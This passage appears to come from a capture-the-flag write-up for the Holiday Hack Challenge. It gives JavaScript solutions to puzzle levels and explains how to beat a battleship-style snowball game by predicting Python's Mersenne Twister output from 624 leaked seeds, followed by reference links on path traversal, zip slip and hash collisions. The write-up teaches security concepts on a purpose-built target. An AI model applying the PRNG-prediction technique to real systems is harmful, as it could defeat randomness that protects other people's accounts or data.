We have passed the main levels and Ribb rewards us with a hint for Objective 10:

There are still some bonus levels to complete though!!

The levers' objectives are all the same, we need to respond with the lever number and that’s it. Each lever will lift the next bridge.
The Munchkin #0 objective is:

There is an additional handicap: elf.moveTo(object) has been disabled. The solution is:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

for (var i = 0; i < 4; i++) {
  j = 2 * i
  i % 2 == 0 ? elf.moveDown(j + 1) : elf.moveUp(j + 1)
  elf.pull_lever(j)
  i % 2 == 0 ? elf.moveLeft(j + 2) : elf.moveRight(j + 2)
  elf.pull_lever(j + 1)
}
elf.moveUp(2)
elf.moveLeft(4)
function f(arr) {
  var sum = 0
  for (var i = 0; i < arr.length; i++) {
    a = arr[i].filter(e => typeof e !== 'string')
    sum = sum + a.reduce((a, b) => a + b, 0)
  }
  return sum
}
elf.tell_munch(f)
elf.moveUp(2)

The levers' objectives are all the same, we need to respond with the lever value that it returns added to the values of all the previous levers. Each lever will lift the next bridge.

The Munchkin #0 objective is:

Again, there is an additional handicap: elf.moveTo(object) has been disabled.
Solution:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

var sum = 0
var answer = ""
for (var i = 0; i < 6; i++) {
  j = 2 * i + 1
  i % 2 == 0 ? elf.moveRight(j) : elf.moveLeft(j)
  sum = sum + elf.get_lever(i)
  elf.pull_lever(sum)
  elf.moveUp(j + 2)
}
function f(json) {
  for (var i = 0; i < json.length; i++) {
    answer = Object.keys(json[i]).find(key => json[i][key] === "lollipop")
    if (answer) {
      return answer
    }
  }
  return 0
}
elf.tell_munch(f)
elf.moveRight(11)

And with that, we completed all the Javascript challenges:

Snowball Game

The last game is monitored by Tangle Coalbox:

And the hints he gives us are:

We can as well directly access the game from https://snowball2.kringlecastle.com/ which will be more convenient for analysis. The game is an equivalent of the Battleship board game, we need to throw snowballs and hit the hidden snow forts until we destroy all of them. There are 4 different difficulties.

Easy and Medium:
In the Easy and Medium level, we can choose the Player Name and can beat the game quite easily by playing normally as the computer is not very smart:

When we win we get the following message:

In the case we loose we get:

So if our understanding is correct, in the Easy and Medium level we can choose what is the seed used to generate the board. This means that if we use always the same seed, the board will always be the same. And it appears that the seed used on these levels is the Player Name. For instance, for a seed=noobintheshell we get the following enemy board each time:

The same goes for our board that is as well always the same for a given seed.

Hard:
In Hard mode, we can’t choose the seed, however, we see it (our Player Name) when we start the game. So what we can do to beat this level is to run the game in Easy mode (in another tab) with the seed used in Hard mode. We will know where the snow castles are.

Impossible:
In this mode, we can’t make any single mistake as the attacker is successful at each turn.

Here, we do not get to know the seed used at all. However, we get to know from the game description that hundreds of random seed are generated before one is picked up. The tested ones are shown in the HTML code of the page:

As we know from the hints, the Python random function is used to generate those random numbers. This function uses the Marsenne-Twister algorithm for the PRNG. This algorithm has a known weakness: if we have enough consecutive random numbers, we can possibly predict the next ones. We can use the marsene-twister-predictor to achieve that. We can install it with:

Then we need to get the list of random numbers that we saw in the HTML code in a text file, one number per line. For the prediction to work, we need exactly the last 624 generated random numbers because Marsene-Twister uses a state table of 624 values. Then simply call the below command to get the next random number:

Then, as for the Hard level, we can use this seed on the Easy level to get the castle placement and beat the Impossible level:

Tangle gives us some hints to beat Objective 11a and Objective 11b:

Items

Some items are spread around the Santa’s castle. At the exception of the Proxmark3, used to complete Objective 5, the items can only be used to operate the Santavator. Here is their location:

Christmas Eggs

One of the quests I enjoy the most in the Holiday Hack challenges is to find as many hidden Eggs as possible! Here are the ones I spotted this year:

Additional Ressources

Objective 3

• https://www.electronjs.org
• https://github.com/electron/asar
• https://nodejs.org/en/download/

Objective 6

• https://attack.mitre.org/matrices/enterprise/
• https://github.com/splunk/attack_range
• https://docs.splunk.com/Documentation/SCS/current/SearchReference/RexCommandOverview
• https://docs.splunk.com/Documentation/SCS/current/SearchReference/Aggregatefunctions#distinct_count.28.26lt.3Bvalue.26gt.3B.29_or_dc.28.26lt.3Bvalue.26gt.3B.29
• https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1082/T1082.md
• https://github.com/frgnca/
• https://attack.mitre.org/techniques/T1123/
• https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1123/T1123.md
• https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.001/T1547.001.md#atomic-test-3---powershell-registry-runonce
• https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Misc/Discovery.bat
• https://zeek.org/
• https://tools.ietf.org/html/rfc74653
• https://gchq.github.io/CyberChef/

Objective 8

• https://portswigger.net/burp
• https://portswigger.net/web-security/file-path-traversal
• https://ngrok.com/
• https://snyk.io/research/zip-slip-vulnerability

Objective 10

• https://www.lifewire.com/web-browser-developer-tools-3988965

Objective 11a

• https://github.com/python/cpython/blob/master/Doc/library/random.rst
• https://github.com/python/cpython/blob/master/Modules/_randommodule.c

Objective 11b

• https://github.com/corkami/collisions/blob/master/unicoll.md
• https://hexed.it/
• https://github.com/corkami/collisions#pdf

CranPi Terminal 7

• https://scapy.net/